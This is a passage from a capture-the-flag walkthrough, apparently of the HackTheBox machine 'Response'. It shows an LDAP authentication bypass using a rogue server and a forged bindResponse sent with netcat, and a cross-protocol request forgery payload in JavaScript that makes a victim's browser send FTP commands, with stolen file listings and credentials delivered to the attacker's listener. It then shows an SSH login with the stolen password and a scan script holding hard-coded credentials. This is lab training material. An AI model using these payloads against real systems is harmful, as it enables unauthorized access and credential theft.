reads a receiver and message from stdin and sends a <code>POST<\/code> request equal to the one we have observed before, when sending a message to ourselves.<\/p>\n\n\n\n<p>When running the script we successfully connect to the internal chat application:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n$ .\/chat_connect.py\nto&gt; sid = pFH6oi5EsBtQ3EonAAAF\nb&#039;40{&quot;sid&quot;:&quot;h3b2JcgfiSKNDwlJAAAG&quot;}\\x1e42&#x5B;&quot;session&quot;,{&quot;sessionID&quot;:&quot;024ff4844270389e9c3f657becee55ae&quot;,&quot;username&quot;:&quot;guest&quot;}]\\x1e42&#x5B;&quot;users&quot;,&#x5B;{&quot;username&quot;:&quot;guest&quot;,&quot;connected&quot;:true},{&quot;username&quot;:&quot;bob&quot;,&quot;connected&quot;:true},{&quot;username&quot;:&quot;scryh&quot;,&quot;connected&quot;:false},{&quot;username&quot;:&quot;admin&quot;,&quot;connected&quot;:false,}]]&#039;\n<\/pre><\/div>\n\n\n<p>Aside from our own user (<code>guest<\/code>) there are the following three users: <code>bob<\/code>, <code>scryh<\/code> and <code>admin<\/code>. Though only <code>bob<\/code> has the property <code>connected<\/code> set to <code>true<\/code>.<\/p>\n\n\n\n<p>When sending a message to bob, we get a response shortly after:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nbob\nmsg&gt; hello\nto&gt; b&#039;42&#x5B;&quot;private message&quot;,{&quot;content&quot;:&quot;i urgently need to talk to admin&quot;,&quot;from&quot;:&quot;bob&quot;,&quot;to&quot;:&quot;guest&quot;}]&#039;\n<\/pre><\/div>\n\n\n<p>Obviously <code>bob<\/code> is looking for the user <code>admin<\/code>. When sending more messages to <code>bob<\/code>, he repeats this demand:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nbob\nmsg&gt; hi\nto&gt; b&#039;42&#x5B;&quot;private message&quot;,{&quot;content&quot;:&quot;where the f*** is admin?&quot;,&quot;from&quot;:&quot;bob&quot;,&quot;to&quot;:&quot;guest&quot;}]&#039;\nbob\nmsg&gt; aaa\nto&gt; b&#039;42&#x5B;&quot;private message&quot;,{&quot;content&quot;:&quot;do you now where admin is?&quot;,&quot;from&quot;:&quot;bob&quot;,&quot;to&quot;:&quot;guest&quot;}]&#039;\n<\/pre><\/div>\n\n\n<h3 id=\"auth\">Authentication Bypass<\/h3>\n\n\n\n<p>Since <code>admin<\/code> is not connected, our next goal should be to login with that user. Thus we need to find an authentication bypass.<\/p>\n\n\n\n<p>We have already taken a short look at the <code>authenticate_user<\/code> function in the file <code>server\/index.js<\/code>, when we figured out about the credentials <code>guest<\/code> \/ <code>guest<\/code>. Let&#8217;s take a look at the function again:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nasync function authenticate_user(username, password, authserver) {\n\n  if (username === &#039;guest&#039; &amp;&amp; password === &#039;guest&#039;) return true;\n\n  if (!\/^&#x5B;a-zA-Z0-9]+$\/.test(username)) return false;\n\n  let options = {\n    ldapOpts: { url: `ldap:\/\/${authserver}` },\n    userDn: `uid=${username},ou=users,dc=response,dc=htb`,\n    userPassword: password,\n  }\n  try {\n    return await authenticate(options);\n  } catch { }\n  return false;\n\n}\n<\/pre><\/div>\n\n\n<p>Assuming we are not using the <code>guest<\/code> \/ <code>guest<\/code> credentials, the authentication is carried out via <code>LDAP<\/code>. Though the <code>LDAP<\/code> server being used is based on the value of <code>authserver<\/code>. When authenticating via <code>socket.io<\/code> we have already seen that we can send this parameter within the <code>POST<\/code> request:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nPOST \/socket.io\/?EIO=4&amp;transport=polling&amp;t=NzjeMnf&amp;sid=32AeoEDLWTRMoyzeAAAC HTTP\/1.1\nHost: localhost:3000\n...\n\n40{&quot;username&quot;:&quot;guest&quot;,&quot;password&quot;:&quot;guest&quot;,&quot;authserver&quot;:&quot;ldap.response.htb&quot;}\n<\/pre><\/div>\n\n\n<p>By changing the <code>authserver<\/code> parameter we can make the chat application use another <code>LDAP<\/code> server for authentication. If we use our own <code>LDAP<\/code> server, we can add an <code>admin<\/code> user with a password we know. This way we can login as the <code>admin<\/code> user.<\/p>\n\n\n\n<p>In order to quickly set up an <code>LDAP<\/code> server we can use a docker container again (e.g. <a href=\"https:\/\/github.com\/osixia\/docker-openldap\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/github.com\/osixia\/docker-openldap<\/a>). We set the <code>LDAP<\/code> domain to match <code>reponse.htb<\/code> and export the port <code>389<\/code> on our host:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ sudo docker run -p 389:389 --name ldap --env LDAP_DOMAIN=&quot;response.htb&quot; --env LDAP_ADMIN_PASSWORD=&quot;JonSn0w&quot; --detach osixia\/openldap:1.5.0\nUnable to find image &#039;osixia\/openldap:1.5.0&#039; locally\n1.5.0: Pulling from osixia\/openldap\n45b42c59be33: Pull complete\n...                      \nd2744e887776: Pull complete\nDigest: sha256:18742e9c449c9c1afe129d3f2f3ee15fb34cc43e5f940a20f3399728f41d7c28\nStatus: Downloaded newer image for osixia\/openldap:1.5.0\n0f8a56af0fa6098c5be69a0cf502715df8856ad474ff46b9d9e23528e11587a7\n<\/pre><\/div>\n\n\n<p>At next we switch into the docker container and add an <code>organizationalUnit<\/code> called <code>users<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ sudo docker exec -it ldap \/bin\/bash\nroot@41cafbfd9998:\/# cd \/tmp\/\nroot@41cafbfd9998:\/tmp# echo &#039;dn: ou=users,dc=response,dc=htb&#039; &gt; ou_users.ldif\nroot@41cafbfd9998:\/tmp# echo &#039;objectClass: top&#039; &gt;&gt; ou_users.ldif\nroot@41cafbfd9998:\/tmp# echo &#039;objectClass: organizationalUnit&#039; &gt;&gt; ou_users.ldif\nroot@41cafbfd9998:\/tmp# echo &#039;ou: users&#039; &gt;&gt; ou_users.ldif\nroot@41cafbfd9998:\/tmp# ldapadd -D &#039;cn=admin,dc=response,dc=htb&#039; -w JonSn0w -f ou_users.ldif\nadding new entry &quot;ou=users,dc=response,dc=htb&quot;\n<\/pre><\/div>\n\n\n<p>Also we add a user called <code>admin<\/code> within this OU and set the password to <code>SecretPassw0rd!<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@41cafbfd9998:\/tmp# echo &#039;dn: uid=admin,ou=users,dc=response,dc=htb&#039; &gt; user_admin.ldif\nroot@41cafbfd9998:\/tmp# echo &#039;objectClass: shadowAccount&#039; &gt;&gt; user_admin.ldif\nroot@41cafbfd9998:\/tmp# echo &#039;objectClass: posixAccount&#039; &gt;&gt; user_admin.ldif\nroot@41cafbfd9998:\/tmp# echo &#039;objectClass: inetOrgPerson&#039; &gt;&gt; user_admin.ldif\nroot@41cafbfd9998:\/tmp# echo &#039;cn: admin&#039; &gt;&gt; user_admin.ldif\nroot@41cafbfd9998:\/tmp# echo &#039;sn: admin&#039; &gt;&gt; user_admin.ldif\nroot@41cafbfd9998:\/tmp# echo &#039;uid: admin&#039; &gt;&gt; user_admin.ldif\nroot@41cafbfd9998:\/tmp# echo &#039;uidNumber: 1337&#039; &gt;&gt; user_admin.ldif\nroot@41cafbfd9998:\/tmp# echo &#039;gidNumber: 1337&#039; &gt;&gt; user_admin.ldif\nroot@41cafbfd9998:\/tmp# echo &#039;homeDirectory: \/dev\/shm&#039; &gt;&gt; user_admin.ldif\nroot@41cafbfd9998:\/tmp# ldapadd -D &#039;cn=admin,dc=response,dc=htb&#039; -w JonSn0w -f user_admin.ldif\nadding new entry &quot;uid=admin,ou=users,dc=response,dc=htb&quot;\n\nroot@41cafbfd9998:\/tmp# ldappasswd -s &#039;SecretPassw0rd!&#039; -w JonSn0w -D &#039;cn=admin,dc=response,dc=htb&#039; -x &#039;uid=admin,ou=users,dc=response,dc=htb&#039;\n<\/pre><\/div>\n\n\n<p>We can quickly verify that the credentials work by running <code>ldapsearch<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@41cafbfd9998:\/tmp# ldapsearch -D &#039;uid=admin,ou=users,dc=response,dc=htb&#039; -w &#039;SecretPassw0rd!&#039;\n# extended LDIF\n#\n# LDAPv3\n# base &lt;&gt; (default) with scope subtree\n# filter: (objectclass=*)\n# requesting: ALL\n#\n\n# search result\nsearch: 2\nresult: 32 No such object\n\n# numResponses: 1\n<\/pre><\/div>\n\n\n<p>Since no error <code>Invalid credentials<\/code> is raised, the credentials work.<\/p>\n\n\n\n<p>Now we adjust the <code>username<\/code>, <code>password<\/code> and set the <code>authserver<\/code> to our own IP address within the python script:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\n  d = b&#039;40{&quot;username&quot;:&quot;admin&quot;,&quot;password&quot;:&quot;SecretPassw0rd!&quot;,&quot;authserver&quot;:&quot;10.10.13.42&quot;}&#039;\n...\n<\/pre><\/div>\n\n\n<p>When running the script now, we successfully authenticate as the user <code>admin<\/code> using our own <code>LDAP<\/code> server. By running <code>Wireshark<\/code> we can see the <code>LDAP<\/code> <code>bindRequest<\/code> from the chat application to our <code>LDAP<\/code> server:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"563\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-09-1024x563.png\" alt=\"\" class=\"wp-image-2619\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-09-1024x563.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-09-300x165.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-09-768x422.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-09.png 1317w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>Also the response from the chat server verifies that we are logged in as the user <code>admin<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n$ .\/chat_connect.py\nto&gt; sid = ZCncVkyezThnqSPEAAAH\nb&#039;40{&quot;sid&quot;:&quot;22mbSYOtnnZoJ-CjAAAI&quot;}\\x1e42&#x5B;&quot;session&quot;,{&quot;sessionID&quot;:&quot;e7541d2f6226b8d297d2ebf6e0f1a43e&quot;,&quot;username&quot;:&quot;admin&quot;}]\\x1e42&#x5B;&quot;users&quot;,&#x5B;{&quot;username&quot;:&quot;admin&quot;,&quot;connected&quot;:true},{&quot;username&quot;:&quot;scryh&quot;,&quot;connected&quot;:false},{&quot;username&quot;:&quot;guest&quot;,&quot;connected&quot;:false}]]&#039;\n<\/pre><\/div>\n\n\n<p>An even easier method than setting up an own <code>LDAP<\/code> server is to simply send a successful <code>bindResponse<\/code> on port <code>389\/tcp<\/code>. The <code>bindResponse<\/code> contains of only 14 bytes and is static. Thus it is sufficient to send the following bytes via <code>nc<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ echo 300c02010161070a010004000400|xxd -r -p|sudo nc -lnvp 389\nlistening on &#x5B;any] 389 ...\n<\/pre><\/div>\n\n\n<p>After rerunning the script that connects to the chat application we receive the <code>bindRequest<\/code> from the chat application:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n...\nconnect to &#x5B;10.10.13.42] from (UNKNOWN) &#x5B;10.10.13.37] 54338\n0@`;%uid=admin,ou=users,dc=response,dc=htbSecretPassw0rd!0B \n<\/pre><\/div>\n\n\n<p>Since we simply respond with a successful <code>bindResponse<\/code> the authentication is successful and we get logged in.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n$ .\/chat_connect.py                                                                       \nto&gt; sid = WrbD1GZnPr0-dgwVAAAR\nb&#039;40{&quot;sid&quot;:&quot;-Dend0u-9FchJh-tAAAS&quot;}\\x1e42&#x5B;&quot;session&quot;,{&quot;sessionID&quot;:&quot;b2c0e2f96b5c179fda093973bcc7d111&quot;,&quot;username&quot;:&quot;admin&quot;}]\n...\n<\/pre><\/div>\n\n\n<p>After being successfully authenticated as the <code>admin<\/code> user, we get a private message from <code>bob<\/code> each few seconds:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\nb&#039;42&#x5B;&quot;private message&quot;,{&quot;content&quot;:&quot;hello admin, might i trouble you for a moment, please?&quot;,&quot;from&quot;:&quot;bob&quot;,&quot;to&quot;:&quot;admin&quot;}]&#039;\nb&#039;2&#039;\nb&#039;2&#039;\nb&#039;42&#x5B;&quot;private message&quot;,{&quot;content&quot;:&quot;hi admin, do you have a second?&quot;,&quot;from&quot;:&quot;bob&quot;,&quot;to&quot;:&quot;admin&quot;}]&#039;\nb&#039;2&#039;\n...\n<\/pre><\/div>\n\n\n<p>So let&#8217;s send a message to <code>bob<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nbob\nmsg&gt; hi\nto&gt; b&#039;42&#x5B;&quot;private message&quot;,{&quot;content&quot;:&quot;admin! do u have a second?&quot;,&quot;from&quot;:&quot;bob&quot;,&quot;to&quot;:&quot;admin&quot;}]&#039;\n<\/pre><\/div>\n\n\n<p>After responding with <code>yes<\/code> we get a whole bunch of sensitive information:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nbob\nmsg&gt; yes\nto&gt; b&#039;42&#x5B;&quot;private message&quot;,{&quot;content&quot;:&quot;awesome!&quot;,&quot;from&quot;:&quot;bob&quot;,&quot;to&quot;:&quot;admin&quot;}]&#039;\nb&#039;42&#x5B;&quot;private message&quot;,{&quot;content&quot;:&quot;i moved the internal ftp server... the new ip address is 172.18.0.7 and it is listening on port 2121. the creds are ftp_user \/ Secret12345&quot;,&quot;from&quot;:&quot;bob&quot;,&quot;to&quot;:&quot;admin&quot;}]&#039;\nb&#039;42&#x5B;&quot;private message&quot;,{&quot;content&quot;:&quot;outgoing traffic from the server is currently allowed, but i will adjust the firewall to fix that&quot;,&quot;from&quot;:&quot;bob&quot;,&quot;to&quot;:&quot;admin&quot;}]&#039;\nb&#039;2&#039;\nb&#039;42&#x5B;&quot;private message&quot;,{&quot;content&quot;:&quot;btw. would be great if you could send me the iptables article you were talking about&quot;,&quot;from&quot;:&quot;bob&quot;,&quot;to&quot;:&quot;admin&quot;}]&#039;\n<\/pre><\/div>\n\n\n<h2 id=\"csrf\">Cross-Protocol Request Forgery<\/h2>\n\n\n\n<p>These information contain the credentials and IP \/ port of an internal <code>FTP<\/code> server. Thus our goal should be to figure out a way to contact this internal <code>FTP<\/code> server. One option that might work is to use the proxy again:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\nrequest_url(&#039;GET&#039;, &#039;http:\/\/172.18.0.7:2121&#039;)\n...\n<\/pre><\/div>\n\n\n<p>Though, when running the script we get the following error message:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n$ .\/proxy_request.py\n{&quot;error&quot;:&quot;port not allowed: 2121&quot;}\n<\/pre><\/div>\n\n\n<p>Accordingly we cannot reach the <code>FTP<\/code> server via the proxy.<\/p>\n\n\n\n<p>Within the messages <code>bob<\/code> sent us he mentions that he would like to get an article from <code>admin<\/code>. This possibly indicates that <code>bob<\/code> will follow a link we send him. Let&#8217;s verify this by starting a <code>python http.server<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ python3 -m http.server\nServing HTTP on 0.0.0.0 port 8000 (http:\/\/0.0.0.0:8000\/) ...\n<\/pre><\/div>\n\n\n<p>\u2026 and send a link to our webserver to <code>bob<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\nbob\nmsg&gt; http:\/\/10.10.13.42:8000\/test\nto&gt; b&#039;42&#x5B;&quot;private message&quot;,{&quot;content&quot;:&quot;ty! i will have a look at it&quot;,&quot;from&quot;:&quot;bob&quot;,&quot;to&quot;:&quot;admin&quot;}]&#039;\n<\/pre><\/div>\n\n\n<p><code>bob<\/code> verifies that he will take a look at it and we actually get a request:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n...\n10.10.13.37 - - &#x5B;09\/Mar\/2022 15:01:38] code 404, message File not found\n10.10.13.37 - - &#x5B;09\/Mar\/2022 15:01:38] &quot;GET \/test HTTP\/1.1&quot; 404 -\n<\/pre><\/div>\n\n\n<p>Assuming that <code>bob<\/code> can reach the internal <code>FTP<\/code> server, we can perform a <code>Cross-Protocol Request Forgery<\/code> attack. By making <code>bob<\/code> visit a website under our control, we can execute javascript in the context of the browser of <code>bob<\/code> and make a <code>POST<\/code> request to the <code>FTP<\/code> server. Within the body of this <code>POST<\/code> request we provide <code>FTP<\/code> commands. If the <code>FTP<\/code> server drops the <code>HTTP<\/code> headers at the beginning of the request, but keeps on evaluating the following data, the commands we injected in the <code>POST<\/code> body are also evaluated as <code>FTP<\/code> commands.<\/p>\n\n\n\n<p><code>FTP<\/code> provides two modes of operation: <code>active<\/code> and <code>passive<\/code>. The default mode is <code>active<\/code>. When transferring data in this mode the client tells the server an IP address and port, to which the server should connect and send the data. Since <code>bob<\/code> mentioned that outgoing traffic from the <code>FTP<\/code> server is allowed, we can leverage this to make the server send data to our machine.<\/p>\n\n\n\n<p>To carry out this attack, we create a small javascript file:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n$ cat payload.js \nvar xhr = new XMLHttpRequest();\nxhr.open(&#039;POST&#039;, &#039;http:\/\/172.18.0.7:2121&#039;, true);\nxhr.send(&#039;USER ftp_user\\r\\nPASS Secret12345\\r\\nPORT 10,10,13,42,122,105\\r\\nLIST\\r\\n&#039;);\n<\/pre><\/div>\n\n\n<p>The script makes a <code>POST<\/code> request to the <code>FTP<\/code> server. Within the body we provide the <code>FTP<\/code> commands to log in to the <code>FTP<\/code> server using the commands <code>USER ftp_user<\/code> and <code>PASS Secret12345<\/code>. Also we tell the server to connect to our machine (<code>10,10,13,42<\/code>) on port <code>31337\/tcp<\/code> (<code>122,105<\/code>) for data transfer with the command <code>PORT 10,10,13,42,122,105<\/code>. At last we trigger the <code>LIST<\/code> command, which lists the files in the current directory. The list of files is send to the IP\/port formerly set.<\/p>\n\n\n\n<p>At next we create a little <code>HTML<\/code> file, which includes the javascript:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: xml; gutter: false; title: ; notranslate\" title=\"\">\n$ cat index.html \n&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;&lt;\/head&gt;\n&lt;body&gt;\n&lt;script src=&quot;payload.js&quot;&gt;&lt;\/script&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/pre><\/div>\n\n\n<p>Now we start a <code>nc<\/code> listener on port <code>31337\/tcp<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ nc -lnvp 31337\nlistening on &#x5B;any] 31337 ...\n<\/pre><\/div>\n\n\n<p>After sending the link to bob:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\nbob\nmsg&gt; http:\/\/10.10.13.42:8000\/\nto&gt; b&#039;42&#x5B;&quot;private message&quot;,{&quot;content&quot;:&quot;great, thank you! i\\&#039;ll check it out&quot;,&quot;from&quot;:&quot;bob&quot;,&quot;to&quot;:&quot;admin&quot;}]&#039;\n...\n<\/pre><\/div>\n\n\n<p>\u2026 we receive the <code>HTTP<\/code> request:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n...\n10.10.13.37 - - &#x5B;09\/Mar\/2022 15:17:58] &quot;GET \/ HTTP\/1.1&quot; 200 -\n10.10.13.37 - - &#x5B;09\/Mar\/2022 15:17:58] &quot;GET \/payload.js HTTP\/1.1&quot; 200 -\n<\/pre><\/div>\n\n\n<p>The javascript is executed contacting the <code>FTP<\/code> server, which sends to file list to our machine on port <code>31337\/tcp<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nconnect to &#x5B;10.10.13.42] from (UNKNOWN) &#x5B;10.10.13.37] 38516\n-rw-r--r--    1 root     root            50 Feb 10 15:15 creds.txt\n<\/pre><\/div>\n\n\n<p>There is a file called <code>creds.txt<\/code>. We can retrieve this file with the <code>FTP<\/code> command <code>RETR<\/code>. We adjust the javascript payload and retrigger it:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; gutter: false; title: ; notranslate\" title=\"\">\n...\nxhr.send(&#039;USER ftp_user\\r\\nPASS Secret12345\\r\\nPORT 10,10,13,42,122,105\\r\\nRETR creds.txt\\r\\n&#039;);\n<\/pre><\/div>\n\n\n<p>This time we get the file content:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ nc -lnvp 31337\nlistening on &#x5B;any] 31337 ...\nconnect to &#x5B;10.10.13.42] from (UNKNOWN) &#x5B;10.10.13.37] 38620\nftp\n---\nftp_user \/ Secret12345\n\nssh\n---\nbob \/ F6uXVwEjdZ46fsbXDmQK7YPY3OM\n<\/pre><\/div>\n\n\n<p>The file contains the <code>SSH<\/code> credentials for the user <code>bob<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ ssh bob@10.10.13.37            \nbob@10.10.13.37&#039;s password: ( F6uXVwEjdZ46fsbXDmQK7YPY3OM )\nWelcome to Ubuntu 20.04.4 LTS (GNU\/Linux 5.4.0-100-generic x86_64)\n...\nbob@response:~$ id\nuid=1001(bob) gid=1001(bob) groups=1001(bob)\nbob@response:~$ cat user.txt \n8752f3e8e49a29e4466a98c4521190e1\n<\/pre><\/div>\n\n\n<h1 id=\"scryh\">Scanning Script (bob -&gt; scryh)<\/h1>\n\n\n\n<p>In the <code>passwd<\/code> file we can see another user called <code>scryh<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nbob@response:~$ cat \/etc\/passwd\n...\nscryh:x:1000:1000:scryh:\/home\/scryh:\/bin\/bash\n...\n<\/pre><\/div>\n\n\n<p>By running <code>pspy<\/code> we can see that every minute the bash script <code>\/home\/scryh\/scan\/scan.sh<\/code> is executed in the context of this user:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nbob@response:\/tmp$ .\/pspy64\n...\n2022\/03\/10 09:37:01 CMD: UID=1000 PID=7906   | sudo -u scryh bash -c cd \/home\/scryh\/scan;.\/scan.sh \n2022\/03\/10 09:37:01 CMD: UID=1000 PID=7907   | \/bin\/bash .\/scan.sh\n...\n<\/pre><\/div>\n\n\n<p>We have read access in the folder <code>\/home\/scryh\/scan\/<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nbob@response:\/home\/scryh\/scan$ ls -al\ntotal 28\ndrwxr-xr-x 5 scryh scryh 4096 Mar  4 07:48 .\ndrwxr-xr-x 6 scryh scryh 4096 Mar  4 07:09 ..\ndrwxr-xr-x 4 scryh scryh 4096 Mar  3 09:12 data\ndrwxr-xr-x 2 scryh scryh 4096 Mar 10 09:29 output\n-rwxr-xr-x 1 scryh scryh 3464 Mar  4 07:48 scan.sh\ndrwxr-xr-x 2 scryh scryh 4096 Feb 15 14:20 scripts\n-rwxr-xr-x 1 scryh scryh 1252 Mar  3 13:43 send_report.py\n<\/pre><\/div>\n\n\n<p>The <code>scan.sh<\/code> bash script is quite big:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nbob@response:\/home\/scryh\/scan$ cat scan.sh \n#!\/bin\/bash\n\nfunction isEmailValid() {\n  regex=&quot;^((&#x5B;A-Za-z0-9]+((\\.|\\-|\\_|\\+)?&#x5B;A-Za-z0-9]?)*&#x5B;A-Za-z0-9]+)|&#x5B;A-Za-z0-9]+)@((&#x5B;A-Za-z0-9]+)+((\\.|\\-|\\_)?(&#x5B;A-Za-z0-9]+)+)*)+\\.(&#x5B;A-Za-z]{2,})+$&quot;\n  &#x5B;&#x5B; &quot;${1}&quot; =~ $regex ]]\n}\n\nbind_dn=&#039;cn=admin,dc=response,dc=htb&#039;\npwd=&#039;aU4EZxEAOnimLNzk3&#039;\n\n# clear output folder, set umask\nrm output\/scan_*\nlog_file=&#039;output\/log.txt&#039;\nrm $log_file\ntouch $log_file\numask 0006\n\n# get customer&#039;s servers from LDAP\nservers=$(\/usr\/bin\/ldapsearch -x -D $bind_dn -w $pwd -s sub -b &#039;ou=servers,dc=response,dc=htb&#039; &#039;(objectclass=ipHost)&#039;|grep ipHostNumber|cut -d &#039; &#039; -f2)\nfor ip in $servers; do\n  if &#x5B;&#x5B; &quot;$ip&quot; =~ ^&#x5B;0-9]+\\.&#x5B;0-9]+\\.&#x5B;0-9]+\\.&#x5B;0-9]+$ ]]; then\n    echo &quot;scanning server ip $ip&quot; &gt;&gt; $log_file\n\n    # scan customer server and generate PDF report\n    outfile=&quot;output\/scan_$ip&quot;\n    nmap -v -Pn $ip -p 443 --script scripts\/ssl-enum-ciphers,scripts\/ssl-cert,scripts\/ssl-heartbleed -oX &quot;$outfile.xml&quot;\n    wkhtmltopdf &quot;$outfile.xml&quot; &quot;$outfile.pdf&quot;\n\n    # get customer server manager\n    manager_uid=$(\/usr\/bin\/ldapsearch -x -D $bind_dn -w $pwd -s sub -b &#039;ou=servers,dc=response,dc=htb&#039; &#039;(&amp;(objectclass=ipHost)(ipHostNumber=&#039;$ip&#039;))&#039;|grep &#039;manager: uid=&#039;|cut -d &#039;=&#039; -f2|cut -d &#039;,&#039; -f1)\n    if &#x5B;&#x5B; &quot;$manager_uid&quot; =~ ^&#x5B;a-zA-Z0-9]+$ ]]; then\n      echo &quot;- retrieved manager uid: $manager_uid&quot; &gt;&gt; $log_file\n\n      # get manager&#039;s mail address\n      mail=$(\/usr\/bin\/ldapsearch -x -D &quot;cn=admin,dc=response,dc=htb&quot; -w aU4EZxEAOnimLNzk3 -s sub -b &#039;ou=customers,dc=response,dc=htb&#039; &#039;(uid=&#039;$manager_uid&#039;)&#039;|grep &#039;mail: &#039;|cut -d &#039; &#039; -f2)\n      if isEmailValid &quot;$mail&quot;; then\n        echo &quot;- manager mail address: $mail&quot; &gt;&gt; $log_file\n\n        # get SMTP server\n        domain=$(echo $mail|cut -d &#039;@&#039; -f2)\n        local_dns=true\n        smtp_server=$(nslookup -type=mx &quot;$domain&quot;|grep &#039;mail exchanger&#039;|cut -d &#039;=&#039; -f2|sort|head -n1|cut -d &#039; &#039; -f3)\n        if &#x5B;&#x5B; -z &quot;$smtp_server&quot; ]]; then\n          echo &quot;- failed to retrieve SMTP server for domain \\&quot;$domain\\&quot; locally&quot; &gt;&gt; $log_file\n\n          # SMTP server not found. try to query customer server via DNS\n          local_dns=false\n          smtp_server=$(timeout 0.5 nslookup -type=mx &quot;$domain&quot; &quot;$ip&quot;|grep &#039;mail exchanger&#039;|cut -d &#039;=&#039; -f2|sort|head -n1|cut -d &#039; &#039; -f3)\n          if &#x5B;&#x5B; -z &quot;$smtp_server&quot; ]]; then\n            echo &quot;- failed to retrieve SMTP server for domain \\&quot;$domain\\&quot; from server $ip&quot; &gt;&gt; $log_file\n\n            # failed to retrieve SMTP server\n            continue\n          fi\n        fi\n        if &#x5B;&#x5B; &quot;$smtp_server&quot; =~ ^&#x5B;a-z0-9.-]+$ ]]; then\n          echo &quot;- retrieved SMTP server for domain 